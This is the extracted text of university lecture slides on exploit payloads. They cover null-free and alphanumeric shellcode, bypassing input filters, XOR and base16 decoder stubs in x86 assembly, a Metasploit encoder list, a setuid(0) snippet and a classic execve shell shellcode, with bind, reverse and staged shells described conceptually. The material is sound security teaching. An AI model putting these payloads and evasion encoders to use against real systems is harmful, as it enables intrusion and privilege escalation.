Exploiting Software Vulnerabilities

Advanced Exploitation Techniques

Exploit Payloads
« All wrongs reversed – under CC-BY-NC-SA 4.0 license

Dept. of Computer Science and Systems Engineering

University of Zaragoza, Spain

Course 2023/2024

Master’s Degree in Informatics Engineering

University of Zaragoza
Room A.02, Ada Byron building
Outline

1 A Little Recap

2 Payload Types

3 Filters

4 Encoders/Decoders

5 Payload Components

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 2 / 33

Outline

1 A Little Recap

2 Payload Types

3 Filters

4 Encoders/Decoders

5 Payload Components

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 3 / 33

A Little Recap
What is a exploit payload?

Shellcode?
Shellcode: code that executes a shell
Exploit payload: executable code in exploits

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 4 / 33

A Little Recap
What is a exploit payload?

Shellcode?
Shellcode: code that executes a shell
Exploit payload: executable code in exploits

Exploit payload
Snippets of code that are injected into a running process and
run from within that process
It must keep the injected process running
Otherwise the process will terminate and thus the exploit will terminate as well

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 4 / 33

A Little Recap
What is a exploit payload?

Requirements
Position-independent code
Facilitates execution, regardless of the memory address or the segment
in which they are injected

Size constraints: as compact as possible

The smaller the payload, the more generically useful it will be

Avoid certain bytes that can be misinterpreted (e.g., NULL bytes)

Cannot use library functions
Unless they resolve the shared libraries themselves or they are located in the same
fixed memory location

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 5 / 33

A Little Recap
System calls – syscalls

Exploit payload manipulates the program to force it to make a syscall

Functions that allow access to specific functions of the OS

Interface between protected kernel mode and user mode

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 6 / 33

A Little Recap
Syscalls on Linux

Through software interrupts (int 0x80)

Forces the switch to the kernel model and executes the syscall
Unlike other Unix syscall methods, Linux uses a fastcall convention (that is,
it uses the CPU registers for higher performance)
The eax register contains the specific syscall number
The arguments of the syscall function are placed in other registers

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 7 / 33

Outline

1 A Little Recap

2 Payload Types

3 Filters

4 Encoders/Decoders

5 Payload Components

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 8 / 33

Payload Types
Byte content

Null-free payloads
Payloads that have NO null bytes
Useful for string-based exploits
What if we need, for instance, a null value for the execution of the shellcode?

Example: we need to insert a 0 value in the stack

Solution: look for equally semantic instructions in the ISA

xor eax , eax ; 0x33c0
push 0 ; 0 x6a00 → push eax ; 0x50

mov eax , 0 x88DDAA88 ; 0 xb888aadd88

mov eax , 0 x00ddaa00 ; 0 xb800aadd00 → xor eax , 0 x77FFFF77 ; 0 x3577ffff77

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 9 / 33

Payload Types
Byte content

Alphanumeric
Only printable bits are valid
For instance, ASCII bytes

Useful against certain filter functions

Further reading: Writing IA32 alphanumeric shellcodes
(http://phrack.org/issues/57/15.html)

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 10 / 33

Outline

1 A Little Recap

2 Payload Types

3 Filters

4 Encoders/Decoders

5 Payload Components

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 11 / 33

Filters

Some applications may incorporate a sanitized input filter

Remove printable chars
Delete certain bytes
ASCII input → UNICODE input

A filter can modify the payload and then becomes useless

Payload can be prepared to bypass these filters

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 12 / 33

Filters
Alphanumeric filters
The filter only accepts printable ASCII characters of numbers and
letters
’0’...’9’ (0x30...0x39)
’a’...’z’, ’A’...’Z’ (0x61...0x7a – 0x41...0x5a)

push 0x50 ; 0x6a50

pop eax ; 0x58
xor al , 0x50 ; 0x3450
call eax ; 0 xffd0 → dec eax ; 0x48
xor eax , 0 x47305757 ; 0 x3557573047
xor eax , 0 x68303838 ; 0 x3538383068
push eax ; 0x50

After the last xor instruction, eax will contain the value 0xD0FF9090
How to use eax?

From 2 bytes to 17 bytes (+ extras, as the required value is in a register!)

Very tedious and error prone task
There are automatic tools to create alphanumeric payloads
Or algorithms, such as base64 encoding (if supported)

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 13 / 33

Filters
Skipping alphanumeric filters

Base16 data encoding

Standard, case-insensitive hex encoding
The 16-characters subset of US-ASCII is used
4 bits to represent a printable character

Encoding process:
Represents input bit octets as 2-character encoded output strings
Each octet is divided into two parts (nibble)
Each nibble is translated to a single character in the base16 alphabet

Further reading: https://tools.ietf.org/html/rfc4648

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 14 / 33

Filters
Skipping alphanumeric filters

Encoding algorithm
For each input byte, divided it into its nibble parts
For each nibble, add the value ’A’ (0x41)
The result will be in the range 0x41...0x50 (’A’...’P’)

Mark the end of the payloads with some character greater than ’P’

Decoding algorithm
For each input byte, subtract the value ’A’ (0x41)
Shift the result to the left
Add the next input byte, after subtracting the value ’A’ (0x41)
For each nibble, add the value ’A’ (0x41)

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 15 / 33

Filters
Skipping alphanumeric filters

INIT:
8A07 MOV AL ,BYTE PTR DS:[ EDI]
2C 41 SUB AL ,0 x41
C0E0 04 SHL AL ,0 x4
47 INC EDI edi: encoded shellcode buffer
0207 ADD AL ,BYTE PTR DS:[ EDI]
2C 41 SUB AL ,0 x41 esi: decoded shellcode buffer
8806 MOV BYTE PTR DS:[ ESI],AL
46 INC ESI Can they both be the same
47 INC EDI buffer?
803F 51 CMP BYTE PTR DS:[ EDI ],0 x51
72 EB JB @INIT

Note that these bytecodes are not alphanumerical. Some initial

conversion is needed, as discussed before

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 16 / 33

Filters
Skipping alphanumeric filters

How to achieve execution of the

EB 02 JMP B
decoded payload? A:
EB 05 JMP C
B:
Can be located just after the E8 F9FFFFFF CALL A
conditional jump of the previous C:
5F POP EDI
code 83C7 1C ADD EDI ,0 x1C
57 PUSH EDI
5E POP ESI
Question: how to configure
edi/esi values properly?

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 17 / 33

Filters

UNICODE filters
UNICODE character set
16 bits (instead of 8) to represent characters
UNICODE characters equivalent to ASCII character are named wide chars

A wide character is its ASCII code plus the null byte

In particular, from 0x01 to 0x7F

This null byte is used for other alphabetic encodings, such as Chinese,
Russian, etc.

nop ; 0x90
nop ; 0x90 nop ; 0x90
nop ; 0x90
→ add byte ptr ds:[ eax + 90009000] , dl ; 0 x009000900090
nop ; 0x90

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 18 / 33

Filters
Skipping UNICODE filters

Valid instructions
Single opcode
0xNN 0x00 0xNN opcodes
0x00 0xNN 0x00 opcodes
0xNN 0x00 0xNN 0x00 0xNN opcodes

push eax ; 0x50

push eax ; 0x50 add byte ptr [ebp], ch ; 0 x006d00
pop ecx ; 0x59
→ pop ecx ; 0x59
add byte ptr [ebp], ch ; 0 x006d00

NOTE: ebp must point to a writable memory address (otherwise, it will crash)

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 19 / 33

Filters
Skipping UNICODE filters

How to jump to the payload?

Find the payload in ASCII mode in memory
Write a UNICODE-compliant payload manually
Use a encoder
alpha2
vense: Perl script

Remember: you must first configure the EIP with a valid address

Further reading: Unicode – from 0x00410041 to calc,

https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 20 / 33

Outline

1 A Little Recap

2 Payload Types

3 Filters

4 Encoders/Decoders

5 Payload Components

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 21 / 33

Encoders/Decoders

XOR encoders
Take advantage of XOR properties
a ⊗ b = c; c ⊗ b = a; c ⊗ a = b

XOR-based code obfuscation: generally used by malware

Useful to get shellcodes without null bytes
Example: XOR 1-byte cipher

int encode ( unsigned char xorKey , unsigned char *buf , int shellcodelen )
{
for(int i = 0; i < shellcodelen ; i++)
if( xorKey != ( unsigned char) shellcode [i])
buf[i] = (( unsigned char) shellcode [i])^ xorKey ;
}

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 22 / 33

Encoders/Decoders
Assembler code for XOR decoder

EB 02 JMP B
A:
EB 05 JMP C
B:
E8 F9FFFFFF CALL A
C:
5F POP EDI
83 C7 1A ADD EDI ,1A
57 PUSH EDI
5E POP ESI
33 C0 XOR EAX ,EAX
33 C9 XOR ECX ,ECX
B1 NN MOV CL , NNh # shellcode size
DEC:
8A07 MOV AL ,BYTE PTR DS :[ EDI]
3C 41 CMP AL ,41 # cipher key
74 02 JE G
34 41 XOR AL ,41 # cipher key
G:
8806 MOV BYTE PTR DS:[ ESI],AL
47 INC EDI
46 INC ESI
E2 F2 LOOPD DEC

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 23 / 33

Encoders/Decoders
Addition/subtraction encoder
Uses add/sub instructions, instead of xor
Example: https://github.com/h0mbre/Myth

Shikata Ga Nai polymorphic XOR additive feedback encoder

Rotating key: it changes the key in each round!
Helps prevent detection based on signatures (e.g., byte patterns)

Other variants:
XOR-ROR additive feedback (https://github.com/Re4son/slae-4)
...

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 24 / 33

Encoders/Decoders
Addition/subtraction encoder
Uses add/sub instructions, instead of xor
Example: https://github.com/h0mbre/Myth

Shikata Ga Nai polymorphic XOR additive feedback encoder

Rotating key: it changes the key in each round!
Helps prevent detection based on signatures (e.g., byte patterns)

Other variants:
XOR-ROR additive feedback (https://github.com/Re4son/slae-4)
...

Custom encoders/decoders
Customize your encoder/decoder!
Always following these steps:
1 Choose an encoding mechanism
2 Develop an encoder
3 Develop a decoder
4 Decoder must be located before the modified payload

Tedious manual work, but (almost) all filters can be skipped!

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 24 / 33
Encoders/Decoders
Encoders available in Metasploit
Name Rank Description
−−−− −−−− −−−−−−−−−−−
x86 / add_sub manual Add / Sub Encoder
x86 / alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86 / alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86 / a v o i d _ u n d e r s c o r e _ t o l o w e r manual Avoid underscore / t o l o w e r
x86 / a v o i d _ u t f 8 _ t o l o w e r manual Avoid UTF8 / t o l o w e r
x86 / b l o x o r manual BloXor − A Metamorphic Block Based XOR Encoder
x86 / bmp_polyglot manual BMP P o l y g l o t
x86 / c a l l 4 _ d w o r d _ x o r normal C a l l +4 Dword XOR Encoder
x86 / c o n t e x t _ c p u i d manual CPUID−based Context Keyed Payload Encoder
x86 / c o n t e x t _ s t a t manual s t a t (2) − based Context Keyed Payload Encoder
x86 / c o n t e x t _ t i m e manual t i m e (2) − based Context Keyed Payload Encoder
x86 / countdown normal S i n g l e − b y t e XOR Countdown Encoder
x86 / fnstenv_mov normal V a r i a b l e − l e n g t h Fnstenv / mov Dword XOR Encoder
x86 / j m p _ c a l l _ a d d i t i v e normal Jump / C a l l XOR A d d i t i v e Feedback Encoder
x86 / nonalpha low Non−Alpha Encoder
x86 / nonupper low Non−Upper Encoder
x86 / opt_sub manual Sub Encoder ( o p t i m i s e d )
x86 / s e r v i c e manual Register Service
x86 / s h i k a t a _ g a _ n a i excellent Polymorphic XOR A d d i t i v e Feedback Encoder
x86 / s i n g l e _ s t a t i c _ b i t manual Single S t a t i c B i t
x86 / unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86 / unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86 / xor_dynamic normal Dynamic key XOR Encoder

Steps to prepare an encoder/decoder that works

Recognize the filter in the vulnerable program
Know (in detail) the underlying ISA

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 25 / 33

Outline

1 A Little Recap

2 Payload Types

3 Filters

4 Encoders/Decoders

5 Payload Components

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 26 / 33

Payload Components

Restore privileges
Useful on Unix-like systems: effective user ID vs real user ID
eid governs what access the process has
uid determines who the user really is

Some programs may drop privileges before execution (e.g., /etc/sh in the
latest versions of GNU/Linux and macOS)
You can run seteuid(0) before the shellcode payload to get an elevated
shell (in a +s program)

xor eax , eax

mov al , 70
xor ebx , ebx
xor ecx , ecx
int 0x80

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 27 / 33

Payload Components

Creation of new processes

Some systems (like macOS) may require your program to call vfork()
beforehand to run a new process
Otherwise, execve() will return the error ENOTSUP

vfork() is like fork(), except that the parent process is suspended until
the child process executes the execve() system call or exits

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 28 / 33

Payload Components

Shell execution
Minimal payload to run a shell
You have worked with this payload before, see the previous topic slides (or
lab workbooks)!
Note that on some systems, a drop of privileges may occur by default as a
good practice of security principles
On remote, variants: bind shell and reverse shell

xor eax , eax

push eax
push 0 x68732f2f
push 0 x6e69622f
mov ebx , esp
push eax
push ebx
mov ecx , esp
mov al , 0xb
int 0x80

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 29 / 33

Payload Components

Bind shell
Payload that opens a listening port
When the attacker connects, it automatically launches a shell
Think of a client/server architecture:
The attacker acts as a client, the target acts as a server

Attacker Target
(acts as a client) (acts as a server)

bind shell

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 30 / 33

Payload Components

Reverse shell
Payload that connects to a specific address
When connecting to the address, it automatically launches a shell
Think of a client/server architecture:
The attacker acts as a server, the target acts as a client

Useful to bypass firewalls or other port blocking procedures

Attacker Target
(acts as a server) (acts as a client)

reverse shell

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 31 / 33

Payload Components

Redirection of std to fds

Duplicate a socket file descriptor (std) into standard input, standard output,
and standard error file descriptors (fds)
Useful to remotely interact with the target system through the socket

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 32 / 33

Payload Components

Redirection of std to fds

Duplicate a socket file descriptor (std) into standard input, standard output,
and standard error file descriptors (fds)
Useful to remotely interact with the target system through the socket

Staged payload
Useful to avoid payload size constraints
Each stage prepares the runtime environment for the next stage, allowing
the next stage to run with fewer constraints
For instance, the first stage can search for the subsequent stage somewhere else in
memory and decode it, or download it over the network, and then run it (or inject it into a
running process)

Advanced Exploitation Techniques [CC BY-NC-SA 4.0 © R.J. Rodríguez] 2023/2024 32 / 33

 Exploiting Software Vulnerabilities
Advanced Exploitation Techniques
Exploit Payloads
« All wrongs reversed – under CC-BY-NC-SA 4.0 license

Dept. of Computer Science and Systems Engineering

University of Zaragoza, Spain

Course 2023/2024

Master’s Degree in Informatics Engineering

University of Zaragoza
Room A.02, Ada Byron building